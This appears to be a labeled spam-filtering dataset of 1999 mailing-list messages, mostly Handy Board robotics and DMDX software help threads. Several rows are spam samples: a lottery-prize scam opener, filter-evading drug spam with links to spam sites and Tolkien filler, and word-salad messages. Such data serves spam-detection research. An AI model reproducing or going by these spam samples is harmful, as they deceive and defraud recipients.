mseconds(); } } } When I try to load it with IC I get a syntax error on line 9. Can anyone tell me why? TIA At 03:41 PM 11/12/99 -0800, you wrote: > John: > > If your function does not need a parameter passed to it > just do: > > void detect_time2() > { > /* code here */ > } > > just like > int main() > { > /* code here */ > } > > Bart. > > >______________________________ Reply Separator >_________________________________ >Subject: IC trouble - function definition >Author: Non-HP-bachman (bachman@anatek.mv.com) at HP-PaloAlto,mimegw2 >Date: 11/12/99 11:44 AM > > >I am having trouble with function definitions. Can someone tell me what is >wron >g with this: > >void detect_time_2 (void) > { code here;} > >I get a syntax error on the definition line and cannot figure out why. > >TIA > >John > ",0,0 Richard Drushel ,handyboard@media.mit.edu,"Sat, 13 Nov 1999 10:28:23 -0500",Re: IC trouble - function definition,"[John Bachman] spake unto the ether: > /* A simplified program to figure out what is wrong */ > > long time; > > void start() > { > phony(); > > void phony() /* Line 9 syntax error is reported here */ > { > while (digital(2) == 1) > { > time = mseconds(); > } > } > } > > When I try to load it with IC I get a syntax error on line 9. Can anyone tell me why? You have the definition of phony() nested inside the definition of start(). I don't know what ANSI C and/or C++ let you do, but this is invalid IC. You need something like: long time; void start() { phony(); } void phony() { while (digital(2)==1) { time = mseconds(); } } Of course, somewhere you will need a main() to call start(). *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 David Kott ,John Bachman ,"Sat, 13 Nov 1999 10:50:38 -0500",Re: IC trouble - function definition,"On Sat, 13 Nov 1999, John Bachman wrote: > Thanks for all the helpful device but the darned thing still does not work. I have created a simplified program to try to figure out what I am doing wrong. Here it is: > > /* A simplified program to figure out what is wrong */ > > long time; > > void start() > { > phony(); > > void phony() /* Line 9 syntax error is reported here */ > { > while (digital(2) == 1) > { > time = mseconds(); > } > } > } > whoa! Local function definitions. Even GCC doesn't grok that. Try extracting the function definition phony() from start() like so: long time; void phony() { while (digital(2) == 1) { time = mseconds(); } } void start() { phony(); } -d Curiosity may, or may not, have killed Schrodinger's cat. -townba ",0,0 John Bachman ,handyboard@media.mit.edu,"Sat, 13 Nov 1999 13:21:48 -0500","Re: IC trouble - function definition - understand now, Thanks","Rich got it. Nested functions was the problem. I don't recall seeing that discussed in the IC manual and I think it is OK in C. Nonetheless, thanks to all for helping this hapless programmer. John > > You have the definition of phony() nested inside the definition >of start(). I don't know what ANSI C and/or C++ let you do, but this is >invalid IC. > *Rich* >-- >Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic >Department of Biology, Slug Division | nomenclature. / A slug, by any other >Case Western Reserve University | name, is still a slug by nature. >Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 Terry Gathright ,"handyboard@media.mit.edu, John Bachman ","Sat, 13 Nov 1999 13:34:05 -0600","Re: IC trouble - function definition - understand now, Thanks","John, Have been following your problems with function definition. what is wrong with this code? It will print the mseconds but the if statement does not work. Thanks Terry -----Original Message----- From: John Bachman To: handyboard@media.mit.edu Date: Saturday, November 13, 1999 12:48 PM Subject: Re: IC trouble - function definition - understand now, Thanks >Rich got it. Nested functions was the problem. I don't recall seeing that discussed in the IC manual and I think it is OK in C. > >Nonetheless, thanks to all for helping this hapless programmer. > >John >> >> You have the definition of phony() nested inside the definition >>of start(). I don't know what ANSI C and/or C++ let you do, but this is >>invalid IC. >> *Rich* >>-- >>Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic >>Department of Biology, Slug Division | nomenclature. / A slug, by any other >>Case Western Reserve University | name, is still a slug by nature. >>Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" >",0,0 Terry Gathright ,"handyboard@media.mit.edu, John Bachman ","Sat, 13 Nov 1999 13:39:12 -0600","Re: IC trouble - function definition - understand now, Thanks","Sorry, Forgot to enclose the code. what is wrong here? long time; void phony() { while (digital(2) == 1) { time = mseconds(); printf(""%d\\n"", mseconds()); } if (mseconds () >1413 ) fd(1); else bk(1); } void start() { phony(); } void main() { while(1) start(); } -----Original Message----- From: John Bachman To: handyboard@media.mit.edu Date: Saturday, November 13, 1999 12:48 PM Subject: Re: IC trouble - function definition - understand now, Thanks >Rich got it. Nested functions was the problem. I don't recall seeing that discussed in the IC manual and I think it is OK in C. > >Nonetheless, thanks to all for helping this hapless programmer. > >John >> >> You have the definition of phony() nested inside the definition >>of start(). I don't know what ANSI C and/or C++ let you do, but this is >>invalid IC. >> *Rich* >>-- >>Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic >>Department of Biology, Slug Division | nomenclature. / A slug, by any other >>Case Western Reserve University | name, is still a slug by nature. >>Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" >",0,0 vanfree@virgilio.it,,"Sat, 13 Nov 1999 16:23:45 +0100",CONTACT PAYMENT CO-ORDINATORS!!!,"CONTACT PAYMENT CO-ORDINATORS!!! STAATSLOTERIJ JACKPOT AND PROMOTIONS!!! KHORHOSTRAAT 155, AMSTERDAM, THE NETHERLANDS. FROM:THE DESK OF THE MANAGING DIRECTOR INTERNATIONAL PROMOTION/PRIZE AWARD DEPT, SCFN:ABN/5333/025648/03UA. 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Thanks, Lyndsey ******************************************************************* Dr Lyndsey Nickels, Department of Psychology, Macquarie University, Sydney, NSW 2109, Australia Tel: +61-2-9850-8448 (W & voicemail) +61-2-9692-8260 (H) FAX: +61-2-9850-6059/8062 ******************************************************************** ",0,0 William Young ,drushel@apk.net,"Sun, 14 Nov 1999 17:44:09 -0500",Re: Video Transmitters,"NetMarket (www.netmarket.com) carries a transmit/receive pair made by Recoton. It's intended to transmit audio/video around the house. Ours includes a gizmo to extend your remote control capabilities, and it cost about $120. Just the transmitter/receiver pair can be had for under $100, I believe. Bill > > [glashan] spake unto the ether: > > > I wonder if anyone out there can help me with this: > > Im looking for a cheap video transmitter or circuit diagram. Ive got a small > > board camera on my bot and I need to find some way of sending the video to > > my TV. > > I dont want to go out and spend thousands on this, so I'm just looking for a > > short range device. > > JDR Microdevices (http://www.jdr.com) sells a $25 short-range VHF > TV transmitter kit. It's all analog, so there is some drift with warmup and > it needs a very stable power supply, but otherwise it works great. The > observer robot in our Egg Hunt contest, Cambot, is equipped with one. It > broadcasts on Channel 4 to a widescreen TV; the spectators love it. > > It *is* a kit, so you need to solder about 20 components to the > single-sided board. It has full schematics and troubleshooting, etc. > > *Rich* > -- > Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic > Department of Biology, Slug Division | nomenclature. / A slug, by any other > Case Western Reserve University | name, is still a slug by nature. > Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" > ------------------------------------------------------------------------------- ""...Cracking the [WWII] Italian codes | William Young was something you did at the pub over | wjyoung@saturn.oakland.edu a beer. It was both relaxing and | enjoyable..."" | Peter Hilton | WW2 British Codebreaker | -------------------------------------------------------------------------------",0,1 Richard Drushel ,handyboard@media.mit.edu,"Sun, 14 Nov 1999 18:22:29 -0500",Re: Video Transmitters from JDR,"[glashan] spake unto the ether: > I live in South Africa and we run on the PAL - I system. Ive got a JVC > multisystem TV which supports PAL,SECAM and NTSC. It has recieving range of > 46.25 - 463.25 MHz. > > So would the [JDR kit] transmitter work on my TV? would I have to change the > transmitter or just retune my TV? From the fancy TV receiver you describe, I'd say you wouldn't have to do anything but select NTSC mode. The kit is supposed to transmit over the range of VHF channels 3-7, but my specific kit only does 3-5 (why I don't know; the tuning slug tops out for me at channel 5). *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 Rachel Wilson ,DMDX@psy1.psych.arizona.edu,"Sun, 14 Nov 1999 19:21:33 -0700",[DMDX],"I've used it with the IBM ThinkPad 390...but this may not be what you're looking for since you're looking for something more powerful than the Dell Inspiron... Rachel Lyndsey Nickels wrote: > > I wondered if any other laptops have been found to work well with DMDX > other than the Inspiron 3000? > Dell no longer make this machine, and I'd also like something a little more > powerful that could be a good desktop substitute too. > Has anyone tried the Inspiron 3500 or 7000? > Thanks, > Lyndsey > ******************************************************************* > Dr Lyndsey Nickels, > Department of Psychology, > Macquarie University, > Sydney, NSW 2109, > Australia > > Tel: +61-2-9850-8448 (W & voicemail) > +61-2-9692-8260 (H) > FAX: +61-2-9850-6059/8062 > > ******************************************************************** > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ",0,1 Susanna Lau ,DMDX@psy1.psych.arizona.edu,"Mon, 15 Nov 1999 13:59:36 +1100",[DMDX],"we've bought an Inspirion 7000 recently, to be exact just abt three weeks ..it seems to be working fine so far.. susanna. ----- Original Message ----- From: Rachel Wilson To: Sent: Monday, November 15, 1999 1:21 PM Subject: [DMDX] > I've used it with the IBM ThinkPad 390...but this may not be what you're > looking for since you're looking for something more powerful than the > Dell Inspiron... > > Rachel > > Lyndsey Nickels wrote: > > > > I wondered if any other laptops have been found to work well with DMDX > > other than the Inspiron 3000? > > Dell no longer make this machine, and I'd also like something a little more > > powerful that could be a good desktop substitute too. > > Has anyone tried the Inspiron 3500 or 7000? > > Thanks, > > Lyndsey > > ******************************************************************* > > Dr Lyndsey Nickels, > > Department of Psychology, > > Macquarie University, > > Sydney, NSW 2109, > > Australia > > > > Tel: +61-2-9850-8448 (W & voicemail) > > +61-2-9692-8260 (H) > > FAX: +61-2-9850-6059/8062 > > > > ******************************************************************** > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > and Ken will then remove you from the list at his earliest > > convenience. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Doug Sutherland ,glashan ,"Sun, 14 Nov 1999 18:26:06 -0800",Re: Video Transmitters,"On Sun, 14 Nov 1999, you wrote: > Im looking for a cheap video transmitter or circuit I't not that cheap, but if you want small size and low power consumption check out this 900 Mhz transmitter/receiver pair from supercircuits: http://208.21.248.173/servlet/cat/product/AVX900MICRO.html http://208.21.248.173/servlet/cat/product/AVX900R2.html And here's a very small camera with transmitter built in: http://208.21.248.173/servlet/cat/product/AVX900S4.html Or if you want to receive on a televsion you can go 434 Mhz ATV: http://208.21.248.173/servlet/cat/product/AVX434MINI.html They also have some 2.4 Ghz systems that do both audio and video and support simultaneous transmission over multiple channels. I have tried all of the above and they are working well. -- Doug ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 15 Nov 1999 08:36:44 -0700",[DMDX] Re: Laptops,"At 11:32 AM 11/15/99 +1100, you wrote: >I wondered if any other laptops have been found to work well with DMDX >other than the Inspiron 3000? >Dell no longer make this machine, and I'd also like something a little more >powerful that could be a good desktop substitute too. >Has anyone tried the Inspiron 3500 or 7000? Yes, the later Inspirons all work well. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will buy anything that's one to a customer. - Sinclair Lewis ",0,0 bedirhan ,handyboard@media.mit.edu,"Mon, 15 Nov 1999 17:26:41 -0500","evaluate inverse cosine, sine in IC","Hi, is there a way to evaluate inverse cosine and sine using IC? Thx ",0,0 Will ,Handyboard Mailing List ,"Mon, 15 Nov 1999 17:15:18 -0700","Re: evaluate inverse cosine, sine in IC","bedirhan wrote: > > Hi, is there a way to evaluate inverse cosine and sine using IC? Thx The most efficient way to do it is to use Taylor Series approximations of the functions. Decide how much precision you need, and then write functions that evaluate the first few terms in the appropriate series. Usually, a series will converge quite rapidly, and only half a dozen or so terms are needed. For example, if the sixth term in the series is on the order of 1.0E-6, then you're getting close to the limit of single-precision arithmetic anyway (and certainly close enough for horse shoes, hand grenades, and tactical nuclear weapons). -- Will +---------------------------------------------------------+ | ^^ <^ ^> | | / òó ó°° \\ | | / =Y= U \\ | | Wendy, Will, Tatoosh & Tenzing | +---------------------------------------------------------+ When people are free to do as they please, they usually imitate each other -- Eric Hoffer",0,0 Danny Gratton ,handyboard@media.mit.edu,"Tue, 16 Nov 1999 01:26:20 +0000",HandyBoard Charging,"In the Handyboard manual it says when charging in trickle mode you should turn the Handyboard off, however when I do try and turn the Handyboard off the charge light on the serial/charger board goes off? Is the board still being charged or is there a problem? The same problem occurs when I charge the Handyboard directly. If the power switch is turned on the charge light(LED) is on however when it's turn off the charge light goes off? What's the problem? When the batteries are charged should the board be able to run withought an external power supply? Any information would be great!!! ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Tue, 16 Nov 1999 03:47:03 +0000",Re: HandyBoard Charging,"do you have the recommended 12v, 500 ma DC adapter? if not, that explains it. if so, sometimes when the batt is fully charged, you don't get much in trickle charge mode and the light is off. but usually you should see the light being lit dimly. are you having problems with your battery holding a charge? fred In your message you said: > In the Handyboard manual it says when charging in trickle mode you should tur n > the Handyboard off, however when I do try and turn the Handyboard off the > charge light on the serial/charger board goes off? Is the board still being > charged or is there a problem? > > The same problem occurs when I charge the Handyboard directly. If the power > switch is turned on the charge light(LED) is on however when it's turn off th e > charge light goes off? What's the problem? > > When the batteries are charged should the board be able to run withought an > external power supply? > > Any information would be great!!! > ",0,0 Danny Gratton ,handyboard@media.mit.edu,"Tue, 16 Nov 1999 05:22:18 +0000",Re: HandyBoard Charging,"Well I bought an assembled board from Gleason Research and I've been using the DC adapter that came with the board. The charging leds light up only when the Handyboard on? Is there something special I need to do to run the board on batteries? Is there a way I can test the batteries? lugnet.robotics.handyboard, Fred G. Martin writes: >do you have the recommended 12v, 500 ma DC adapter? > >if not, that explains it. > >if so, sometimes when the batt is fully charged, you don't get much in >trickle charge mode and the light is off. but usually you should see >the light being lit dimly. > >are you having problems with your battery holding a charge? > >fred > >In your message you said: >> In the Handyboard manual it says when charging in trickle mode you should tur >n >> the Handyboard off, however when I do try and turn the Handyboard off the >> charge light on the serial/charger board goes off? Is the board still being >> charged or is there a problem? >> >> The same problem occurs when I charge the Handyboard directly. If the power >> switch is turned on the charge light(LED) is on however when it's turn off th >e >> charge light goes off? What's the problem? >> >> When the batteries are charged should the board be able to run withought an >> external power supply? >> >> Any information would be great!!! >> ",0,0 Magdalen ,handyboard@media.mit.edu,"Mon, 15 Nov 1999 21:49:28 -0500",zipping my lean muscle mass,"see rosetta be bodhisattva it's borden see chair it's order ",1,0 Noelani Schoenfeld ,handyboard@media.mit.edu,"Mon, 15 Nov 1999 20:09:11 -0700",Re: your VALvtUM,"Hi V A L C X V P I m e I a A r A b v A n L o G i i L a I z R e t I x U a A n ra S M c http://www.gepafilonol.com Come and see! said Beorn, and they followed round the house. A goblins head was stuck outside the gate and a warg-skin was nailed to a tree just beyond. Beorn was a fierce enemy. But now he was their friend, and Gandalf thought it wise to tell him their whole story and the reason of their journey, so that they could get the most help he could offer. This is what he promised to do for them. He would provide ponies for ",1,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Tue, 16 Nov 1999 10:16:00 +0000",[DMDX] Two visual probes,"Hi. Is it possible to have two visual probes in one sound file? So, for example,... +1 ""whitenoise"" / ""FANK"" / ""LUM"" /; ...with the second word cued from the second cue in the sound file as opposed to the end of the previous visual frame? - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox",0,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Tue, 16 Nov 1999 12:24:24 +0000",Re: HandyBoard Charging,"ok, you have the stock adapter. like i said, sometimes the batt does get fully charged and then not enough current flows in trickle-charge to light the LED. but that's normal, so it doesn't sound like there is actually a problem. a simple way to test the batt is do a run-down test. just leave the board on and see how long the batt lasts. you should get approx 10 hours with the board sitting there doing nothing (just the Interactive C heart beating). fred In your message you said: > Well I bought an assembled board from Gleason Research and I've been using th e > DC adapter that came with the board. The charging leds light up only when the > Handyboard on? Is there something special I need to do to run the board on > batteries? Is there a way I can test the batteries? > > lugnet.robotics.handyboard, Fred G. Martin writes: > >do you have the recommended 12v, 500 ma DC adapter? > > > >if not, that explains it. > > > >if so, sometimes when the batt is fully charged, you don't get much in > >trickle charge mode and the light is off. but usually you should see > >the light being lit dimly. > > > >are you having problems with your battery holding a charge? > > > >fred > > > >In your message you said: > >> In the Handyboard manual it says when charging in trickle mode you should > tur > >n > >> the Handyboard off, however when I do try and turn the Handyboard off the > >> charge light on the serial/charger board goes off? Is the board still bei ng > >> charged or is there a problem? > >> > >> The same problem occurs when I charge the Handyboard directly. If the pow er > >> switch is turned on the charge light(LED) is on however when it's turn off > th > >e > >> charge light goes off? What's the problem? > >> > >> When the batteries are charged should the board be able to run withought a n > >> external power supply? > >> > >> Any information would be great!!! > >> > ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 16 Nov 1999 08:47:38 -0700",[DMDX] Re: Two visual probes,"At 10:16 AM 11/16/99 +0000, you wrote: >Hi. Is it possible to have two visual probes in one sound file? So, for >example,... > >+1 ""whitenoise"" / ""FANK"" / ""LUM"" /; > >...with the second word cued from the second cue in the sound file as >opposed to the end of the previous visual frame? I'm not even sure what it is that you think you want but the answer is no. If there were two frames playing sound out of the same file yes, but I don't see how the code could make sense out of two s in one frame. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will buy anything that's one to a customer. - Sinclair Lewis",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 16 Nov 1999 08:51:30 -0700",[DMDX] Re: Another script problem,"At 10:36 AM 11/16/99 +0000, you wrote: >Hi. Can anyone help me with the following. I have been asked to write a >script that does the following. > >8 800ms words played one after another, with a visual display of a number >every 750ms displayed for 500ms. That is, two independent timings. > >I have one solution, that i am not happy with which involves a lot of >arithmetic, working out the display times relative to the length of the >sound files... > >+200 ""actor"" / ""1"" / / >""2"" / ""actor"" / ""2"" / / ""3"" > >The first 800ms involves 500ms of ""1"", 250ms empty frame and the first 50ms >of the next number, ""2"", then the sound file cueing the remaining 450ms of >the number etc. I could use %N to keep the item on the screen as the next >sound file played but I am not sure that would gain me much, would it? Build one enourmous wave file, play it and display the frames at the 750ms rate. Anything else is going to be dogawful complicated. VM would've laughed at this but then VM's complexity was such that no one but me and Emmanuel DuPoux were able to use it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People will buy anything that's one to a customer. - Sinclair Lewis",0,0 """Mulampaka, Kalyan (GEIS, ASI)"" ","""Handyboard (E-mail)"" ","Tue, 16 Nov 1999 10:24:09 -0500",IRPD,"Hi, Can somebody point me some web pages for an Infrared Proximity Detector/sensor (IRPD) for the HandyBoard? Thanks Kalyan Kalyan Mulampaka Software Engineer e Information Services ___________________________ Ph#: (770) 698 4436 (O) (678) 320 0783 (R) ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Tue, 16 Nov 1999 15:32:51 +0000",Re: HandyBoard Charging,"Danny, Since you imply that your battery does not take any charge at all, it sounds to me as though your problem is: (1) fuse F1 is open, or (2) a cell in your battery pack is open, or (3) one of the battery wires or its associated PCB land is open. The charge LEDs light when there is current through them ... and with the HB power switch off, the only current is the battery charging current. Take a look at your HB Tech. Ref. pg 51 (fig. 9.6) and pg. 52 (fig. 9.8). At the upper left corner of the HB, above and between the power switch and the speaker, there are two solder pads ... a square one with a ""-"" above it (the negative side of the battery) and a round one with a ""+"" above it (the positive side of the battery). Check for voltage at these pads with the charger plugged in ... if there is 0V, then F1 is open. If there is about +10V at those pads when the charger is plugged in, but 0V without the charger, then the battery or its wires are bad. Let us know how it goes. Good luck, - Nick - ""Fred G. Martin"" wrote: > > ok, you have the stock adapter. > > like i said, sometimes the batt does get fully charged and then not > enough current flows in trickle-charge to light the LED. > > but that's normal, so it doesn't sound like there is actually a > problem. > > a simple way to test the batt is do a run-down test. just leave the > board on and see how long the batt lasts. you should get approx 10 > hours with the board sitting there doing nothing (just the Interactive > C heart beating). > > fred > > In your message you said: > > Well I bought an assembled board from Gleason Research and I've been using th > e > > DC adapter that came with the board. The charging leds light up only when the > > Handyboard on? Is there something special I need to do to run the board on > > batteries? Is there a way I can test the batteries? > > > > lugnet.robotics.handyboard, Fred G. Martin writes: > > >do you have the recommended 12v, 500 ma DC adapter? > > > > > >if not, that explains it. > > > > > >if so, sometimes when the batt is fully charged, you don't get much in > > >trickle charge mode and the light is off. but usually you should see > > >the light being lit dimly. > > > > > >are you having problems with your battery holding a charge? > > > > > >fred > > > > > >In your message you said: > > >> In the Handyboard manual it says when charging in trickle mode you should > > tur > > >n > > >> the Handyboard off, however when I do try and turn the Handyboard off the > > >> charge light on the serial/charger board goes off? Is the board still bei > ng > > >> charged or is there a problem? > > >> > > >> The same problem occurs when I charge the Handyboard directly. If the pow > er > > >> switch is turned on the charge light(LED) is on however when it's turn off > > th > > >e > > >> charge light goes off? What's the problem? > > >> > > >> When the batteries are charged should the board be able to run withought a > n > > >> external power supply? > > >> > > >> Any information would be great!!! > > >> > > ",0,0 Danny Gratton ,handyboard@media.mit.edu,"Tue, 16 Nov 1999 16:14:56 +0000",Re: HandyBoard Charging,"Okay, I'll try it. Do I need to have the DC adapter plugged in to the Handyboard? In lugnet.robotics.handyboard, Fred G. Martin writes: >ok, you have the stock adapter. > >like i said, sometimes the batt does get fully charged and then not >enough current flows in trickle-charge to light the LED. > >but that's normal, so it doesn't sound like there is actually a >problem. > >a simple way to test the batt is do a run-down test. just leave the >board on and see how long the batt lasts. you should get approx 10 >hours with the board sitting there doing nothing (just the Interactive >C heart beating). > >fred > >In your message you said: >> Well I bought an assembled board from Gleason Research and I've been using th >e >> DC adapter that came with the board. The charging leds light up only when the >> Handyboard on? Is there something special I need to do to run the board on >> batteries? Is there a way I can test the batteries? >> >> lugnet.robotics.handyboard, Fred G. Martin writes: >> >do you have the recommended 12v, 500 ma DC adapter? >> > >> >if not, that explains it. >> > >> >if so, sometimes when the batt is fully charged, you don't get much in >> >trickle charge mode and the light is off. but usually you should see >> >the light being lit dimly. >> > >> >are you having problems with your battery holding a charge? >> > >> >fred >> > >> >In your message you said: >> >> In the Handyboard manual it says when charging in trickle mode you should >> tur >> >n >> >> the Handyboard off, however when I do try and turn the Handyboard off the >> >> charge light on the serial/charger board goes off? Is the board still bei >ng >> >> charged or is there a problem? >> >> >> >> The same problem occurs when I charge the Handyboard directly. If the pow >er >> >> switch is turned on the charge light(LED) is on however when it's turn off >> th >> >e >> >> charge light goes off? What's the problem? >> >> >> >> When the batteries are charged should the board be able to run withought a >n >> >> external power supply? >> >> >> >> Any information would be great!!! >> >> >> ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Tue, 16 Nov 1999 17:10:28 +0000",Re: HandyBoard Charging,"no, to do the battery run-down test, you must not have it plugged in! otherwise you'd just be powering it from the adapter, and you'd never run out of juice. so, the steps are: 1. bootload your HB with pcode_hb.s19. you should see the Interactive C message and a beating heart on the lcd. 2. unplug your HB from everything. time how long it takes for the board's battery to run out of power. you should get 8 to 10 hours if the battery was fully charged when you started. fred In your message you said: > Okay, I'll try it. Do I need to have the DC adapter plugged in to the > Handyboard? > In lugnet.robotics.handyboard, Fred G. Martin writes: > >ok, you have the stock adapter. > > > >like i said, sometimes the batt does get fully charged and then not > >enough current flows in trickle-charge to light the LED. > > > >but that's normal, so it doesn't sound like there is actually a > >problem. > > > >a simple way to test the batt is do a run-down test. just leave the > >board on and see how long the batt lasts. you should get approx 10 > >hours with the board sitting there doing nothing (just the Interactive > >C heart beating). > > > >fred > > > >In your message you said: > >> Well I bought an assembled board from Gleason Research and I've been using > th > >e > >> DC adapter that came with the board. The charging leds light up only when > the > >> Handyboard on? Is there something special I need to do to run the board o n > >> batteries? Is there a way I can test the batteries? > >> > >> lugnet.robotics.handyboard, Fred G. Martin writes: > >> >do you have the recommended 12v, 500 ma DC adapter? > >> > > >> >if not, that explains it. > >> > > >> >if so, sometimes when the batt is fully charged, you don't get much in > >> >trickle charge mode and the light is off. but usually you should see > >> >the light being lit dimly. > >> > > >> >are you having problems with your battery holding a charge? > >> > > >> >fred > >> > > >> >In your message you said: > >> >> In the Handyboard manual it says when charging in trickle mode you shou ld > >> tur > >> >n > >> >> the Handyboard off, however when I do try and turn the Handyboard off t he > >> >> charge light on the serial/charger board goes off? Is the board still > bei > >ng > >> >> charged or is there a problem? > >> >> > >> >> The same problem occurs when I charge the Handyboard directly. If the > pow > >er > >> >> switch is turned on the charge light(LED) is on however when it's turn > off > >> th > >> >e > >> >> charge light goes off? What's the problem? > >> >> > >> >> When the batteries are charged should the board be able to run withough t > a > >n > >> >> external power supply? > >> >> > >> >> Any information would be great!!! > >> >> > >> > ",0,0 Govan Lot ,"DMDX@psy1.psych.arizona.edu, melody@psy1.psych.arizona.edu, becky@psy1.psych.arizona.edu, jay@psy1.psych.arizona.edu","Tue, 16 Nov 1999 08:13:54 -0500",This needs to be tried,"or cheerful be lesotho a pagoda it's vermeil be quartet ",1,0 Gary Livick ,"""Mulampaka, Kalyan (GEIS, ASI)"" ","Tue, 16 Nov 1999 09:41:03 -0800",Re: IRPD,"If you check http://www.acroname.com, you will find IRPD's with very narrow detection zones. Those are good for many applications. If you need one with wide coverage just for obstacle avoidance, check http://www.lynxmotion.com/irpd.htm. One or the other of those sites should work for you. Gary Livick ""Mulampaka, Kalyan (GEIS, ASI)"" wrote: > Hi, > Can somebody point me some web pages for an Infrared Proximity > Detector/sensor (IRPD) for the HandyBoard? > Thanks > Kalyan > > Kalyan Mulampaka > Software Engineer > e Information Services > ___________________________ > Ph#: (770) 698 4436 (O) > (678) 320 0783 (R) ",0,1 Dennis Clark ,handyboard@media.mit.edu,"Tue, 16 Nov 1999 18:12:00 +0000",Re: IRPD,"In lugnet.robotics.handyboard, handyboard@media.mit.edu (Mulampaka, Kalyan (GEIS, ASI)) writes: >Hi, >Can somebody point me some web pages for an Infrared Proximity >Detector/sensor (IRPD) for the HandyBoard? I have a PIC based design on my web page: http://www.verinet.com/~dlc/botlinks.htm that will work with any micro. I have parts description and PIC source as well as a crude board layout graphic. This one is fully automated with a left/right/both sensing capability. I also have several PC boards/PICs lying around I'll sell off as well - this project had LOTS of extra pieces left over! :-\\ However, it isn't specific to the Handyboard, it just uses two I/O port lines for status. have fun, DLC ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Tue, 16 Nov 1999 18:32:24 +0000",Re: IRPD,"Kalyan, Both Marvin Green and Dennis Clark have IRPD kits (fairly cheap) that IMO are much better than the Lynxmotion unit (I have all three). http://www.rdrop.com/~marvin/other/otherprj.htm http://www.verinet.com/~dlc/projects/botproj.htm If you get either Marvin's or Dennis' IRPD kit, I can send you PIC source code for either board that will greatly improve the noise rejection. Good luck and have fun, - Nick - Gary Livick wrote: > > If you check http://www.acroname.com, you will find IRPD's with very > narrow detection zones. Those are good for many applications. If you > need one with wide coverage just for obstacle avoidance, check > http://www.lynxmotion.com/irpd.htm. One or the other of those sites > should work for you. > > Gary Livick > > ""Mulampaka, Kalyan (GEIS, ASI)"" wrote: > > > Hi, > > Can somebody point me some web pages for an Infrared Proximity > > Detector/sensor (IRPD) for the HandyBoard? > > Thanks > > Kalyan > > > > Kalyan Mulampaka > > Software Engineer > > e Information Services > > ___________________________ > > Ph#: (770) 698 4436 (O) > > (678) 320 0783 (R) ",0,1 Constantia Chartrand ,handyboard@media.mit.edu,"Tue, 16 Nov 1999 07:11:02 -0700",Re: CotALlS news,"Hi, V A X L V C P A m a e I I r L b n v A A o I i a i G L z U e x t R I a M n ra A S c http://www.smaledirabol.com see that: from the great heavy faces of them, and their size, and the shape of their legs, not to mention their language, which was not drawing-room fashion at all, at all. Mutton yesterday, mutton today, and blimey, if it dont look like mutton again tomorrow, said one of the trolls. ",1,1 Martin Ziegler ,handyboard@media.mit.edu,"Tue, 16 Nov 1999 21:19:27 +0000",Connect HP 48GX,"Hi Did somebody ever try to connect the Handy-Board to a Hewlett Packard 48G or 48GX? I don't exactly know the specifications of the serial port of the 48G. But there are several serial options possible. For example the protocol can be Kermit or XModem, the format ASCII or Binary and the baud rate can be chosen between 1200 and 9600. So I think it should be possible. Thanks a lot Martin Martin A. Ziegler Dornacherstrasse 18 CH-4147 Aesch Phone: 0041 61 751 20 26 email: tino@cevi.ch ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Tue, 16 Nov 1999 22:53:06 +0000",Re: HandyBoard Charging,"Danny ... does your HB work when it is NOT connected to the serial board or the charger? - Nick - Danny Gratton wrote: > > Okay, I'll try it. Do I need to have the DC adapter plugged in to the > Handyboard? > In lugnet.robotics.handyboard, Fred G. Martin writes: > >ok, you have the stock adapter. > > > >like i said, sometimes the batt does get fully charged and then not > 